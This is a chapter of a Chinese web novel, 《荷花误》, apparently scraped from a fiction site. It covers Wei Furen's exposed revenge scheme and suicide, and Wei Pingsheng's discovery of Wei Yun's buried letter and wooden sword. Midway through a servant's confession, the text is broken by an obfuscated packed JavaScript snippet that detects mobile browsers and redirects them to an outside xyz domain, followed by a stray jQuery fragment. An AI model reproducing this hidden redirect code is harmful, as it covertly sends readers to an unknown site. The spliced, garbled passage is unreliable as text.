14. 平生
作品:《荷花误》 卫平生失去意识前,耳畔恍惚又听见了卫韫的声音。
“阿生,阿生,你瞧,这满树的桃子都熟透了呀!”
少女身形灵巧,攀上桃树,她拈起一颗饱满水灵的桃子,就朝他丢了过来,卫平生慌忙接过桃子,又紧着急步上前,生怕她摔着了。
“小姐,别摔着了。”
卫韫浑不在意,悠悠然晃着双腿,歪着头笑嘻嘻:“阿生,若你在我生辰前寻来溪州特有的柳扇,我便赠你一份特殊的礼物,可好?”
卫平生温柔的目光落在她身上,摇摇头,柔声道:“我不需要什么礼物,但若你喜欢,我定为你寻来。”
有风乍起,地上残余的桃花瓣旋在空中,落在卫韫的发髻上。
光影迷离间,卫平生分明瞧见卫韫眼尾泛着泪光,却又被极快眨去,她揉了揉眼睛,声音依旧清亮,却带着一丝娇嗔:“哎呀,被花瓣晃了眼啦。”
待他赶去溪州,寻遍了整座溪州城,才发觉那儿根本没有柳扇,他站在长街上捏着腰间那颗桃核。
卫韫骗了他,将他支走,独自走入那龙潭虎穴。
再寻到卫韫时,她已然被害成一堆枯骨。
原来那时,她早已做好了诀别的准备。
灼灼桃花依旧,可这满园春色却再也寻不着卫平生心中之人,再无人会欢喜地朝他奔来分享趣事,亦再无人会为他,倔强地挡在父亲面前,维护他:“若父亲赶他走,我便也走!”
卫平生当然知晓她所谓的特殊礼物。
离开青州前,他曾窥见,卫韫摸着黑,轻手轻脚地点着一只蜡,低眉穿针,一针一线地绣着荷包。
一点光,映着上面几个字:许君心悦,伴君平生。
平生,平生。
她将这世间最朴素,也最美好的祝愿都给了他。
唯愿君此平安一生,岁岁安康。
卫平生眼前一黑,彻底失去了知觉。卫夫人怔愣着望向躺在地上的儿子,又垂首瞧见自己染血的血,好似将才反应过来自己做了什么,她瑟缩着身子,只不住地摇着脑袋,嘴里语无伦次的呢喃着:“不对不对,我怎能对自己的骨血下手呢?错了错了,都错了!”
她欲扑上前,却被燕扶青擒住动弹不得,她面部扭曲在一起,痛苦哭嚎着:“儿啊儿啊,我的儿啊!我们走我们离开这里,娘带你离开这吃人的地方!”
这时白纪带着既玉赶来,燕扶青沉声开口:“既玉,救人。”
既玉瞧见这一地狼籍,神情严肃:“交给我。”
司衣荷却再难按耐心头怒火,低声怒斥:“你清醒一点吧!口口声声述冤无门,须得靠自己步步为营方能复仇。若真如此,我没那么大义凛然,也非圣贤,倒也敬你的血性胆魄。”
“若我没猜错,那么多姑娘,皆是你为了笼络王昌荣骗去的!可这些姑娘皆同你母妹一样,无辜至极!你手上沾的,难道不是无辜之人的血吗?此番行径,你与那王昌荣、卫平生有何区别?”
卫夫人忽然尖声笑着,旋即狠狠地盯着司衣荷:“那又如何!”她的声音徒然拔高,竟带着一种诡异的兴奋,“姑娘,你心底难道未藏着仇恨?我瞧你倒像极了当年的我!”
“你怎知你最后不会落得我一般田地呢?”
“我不会。”司衣荷一步一步走近卫夫人,语气坚定。
她蹲下身平视卫夫人,裙裾染上地上血渍:“我说过,我非圣贤完人。若我心中有恨、有仇,申诉无门,或许我会如你一般,汲汲营营、甚至手段见不得光,但我,”司衣荷顿了一下,字字清晰,“绝不会因一己私仇,搭上无辜之人的性命!”
这番话,倒是叫燕扶青也愣住了。
若因此害了无辜性命,那些枉死之人的血亲,又何尝不会搭上仇恨?这世间若人人皆因私妄自害人性命,冤冤相报,如此循环往复,便再难见阖家美满。
司衣荷并不高尚,若真有走投无路到那一日,她亦会拎着白刃,拼上性命,亲自杀了那罪魁祸首。
卫夫人怔在原地,何时开始,她竟也成了王昌荣、卫清评那般人呢?
白纪见此上前,对燕扶青拱手:“主子,卫清评找到了。”
燕扶青蹙眉发问:“在哪?”
“卫夫人院中,只是发现时,已手脚具断,七窍流血,心更是被生生掏空了去。”
司衣荷恍然发觉,卫夫人从始至终都未想过将自己摘出来:“你从一开始,就已经做好玉石俱焚的打算了。你故意引王昌荣将卫平生之事抖落出来,害了王昌荣之后栽赃于卫清评。你又算准了卫清评知晓了此事会来与你对峙,便乘机将他杀了,你甚至知道卫平生只是想将你诱来,知道一个真相。”
“可是为何?”她有些想不明白,“你本可以全身而退?”
卫夫人瘫下身去,苦笑着:“我只求真相大白于世间!叫那王家和卫家身败名裂、永无翻身之日!那些刑罚算得什么?我就是要叫他们万般痛苦死去!”
她忽又看向卫平生,眼中尽是悲凉,声音沙哑:“我此生,唯一愧对的就是他。”
“那些枉死的姑娘,待我去了地狱,再向她们赎罪罢。”
几人心叫不好,卫夫人心存死志,只见她猛阖白唇,咬破了舌下毒药,剧毒入口,她双眸焕然失神,便再没了气息。
燕扶青探过鼻息,终是摇了摇头:“死了。”
两人罪孽,如今却害死了诸多人命。
司衣荷抿着唇未再言语。
卫平生醒来时,天色已亮。
他撑着床沿想要起身,既玉瞧见急忙将他摁了下去:“再偏一寸,神仙也回天乏力。”
“敢问卫夫人在何处?”卫平生唇边有些干燥,愈显虚弱,他喘息片刻,继续道,“我还有些话没问清楚。”
既玉纠结了一会,还是开口:“她吞了剧毒,死了。”
卫平生惊了一瞬,神色晦暗不明,却又垂首嗤笑:“若没有仇恨,我本该也是有父有母的孩子。可这世间没有如果,我为她的遭遇感到悲恸,却也恨极了她的做法。”
既玉哑然。
燕扶青突然绑着一个仆妇进来了,正是那日指认卫清评之人,燕扶青将她推到卫平生跟前,冷声道:“她是卫夫人的人,你想知道什么问她便是。”
卫平生睫尾轻颤,闷声问:“小姐,是如何被骗去的?”
仆妇骇得浑身颤抖,怯怯回话:“夫人,夫人告诉了小姐你的身世,小姐原是不信的,可夫人说出了你腿根胎记之事,”她咽了下口水,继续道,“夫人拿此事威胁小姐,说,说若小姐不去王府,便将此事告诉大人,小姐知道大人的脾性,到时定会将你活活乱棍打死,小姐这....
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16212598|181348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
...这才主动去了王府。”
哪有什么劳什子私相授受,皆是谎话!
卫平生有些喘不上来气,猛锤胸口,既玉正欲上前阻止,便被燕扶青拦了下来。
卫平生弓着身,失声痛哭:“她为我取名卫平生,也知王府是龙潭虎穴,却还是豁出性命,卫我平安一生。”
燕扶青上前,抬手搭在卫平生的肩头,宽宥道:“如今你更应带着她的那一份,好好的活下去。”
说罢,他又看向那仆妇,只问:“那走水,又是怎么回事?”
仆妇低着头不敢看燕扶青,声音抖得不成调:“夫人,夫人假意答应王昌荣要将小姐毁尸灭迹,将司姑娘引诱过来,让众人以为小姐的尸骸是司姑娘,随后再将司姑娘掳走,但夫人只想让你们顺着此事查下去,便有意将药量放小.......”
说到最后,这仆妇声音细若游蚊。
“那日,我确是在房外发现歹人,”卫平生咳嗽一声,“却未追上。”
几人思索间,仆妇猝然用力磕头,哭喊着:“卫夫人捏着老奴阖家的性命,实是毫无办法!求大人们放我一马!”
还未几下,那仆妇额间早已皮肉绽开。
“还有,还有!小姐离府前曾悄声同老奴说,桃树下埋了个锦盒,叫老奴待回来告诉你,老奴与小姐有些情分,便未将此事告知夫人。”
话音未落,卫平生也顾不得伤口,酿跄起身,直直地朝那桃树下奔去。
既玉急得在原地跺脚:“惯不听医者话!”
院中桃树依旧伫立,枝叶嫩绿,粉白的桃花缀满枝头,被风吹得轻轻颤动。
卫平生跪在地上,十指弯曲,徒手狠狠地刨着那湿冷的泥土,浑然不觉指尖的痛感。
燕扶青和既玉跟了出来,他们站在一边远远望着。
既玉叹了口气,怅然道:“造化弄人,若有来生,只愿他们终成眷属。”
燕扶青默然无言,只看着卫平生。
不知过了多久,卫平生的十指已毫无知觉,他颤抖着双手拾起土坑中的锦盒,嘴唇瑟瑟颤抖着,眉头紧拧,他牵起衣角一遍一遍擦净锦盒上的泥土,才将锦盒打开。
盒中静静躺着一支桃木剑、一封信。
卫平生小心翼翼地将信打开,那娟秀的字体撞入他眼中:
“阿生:
你是不是在哭鼻子啦?有什么大不了的,你就当本小姐游侠四方去了,不要伤心。
喏,这把桃木剑,原是我要送给你的生辰礼物。
我手笨,做不得这些细活,削了好几日才削成这丑模样,但是你可不许嫌弃!须得日日带在身侧,就如同带着我一般!
还有啊,若有人欺负你,只管揍回去!但是没我撑腰了,打不过记得跑啊,可不许傻站着吃亏!
最重要的一点!你可不能寻死觅活啊,你记住了,本小姐早就命人在各州各县的桃树下都埋了个锦盒,足足有.......哎呀我也记不太清了!
反正你给我好好活着,一处处寻过去。
天涯海角,总会有我在等你。
最后一件事,
卫平生,我心悦你。”
最后几字早被卫韫的泪水晕染开来。
卫韫将这桃木剑,连同百十处天涯羁旅的希冀,一并化作了渡他出苦海的光。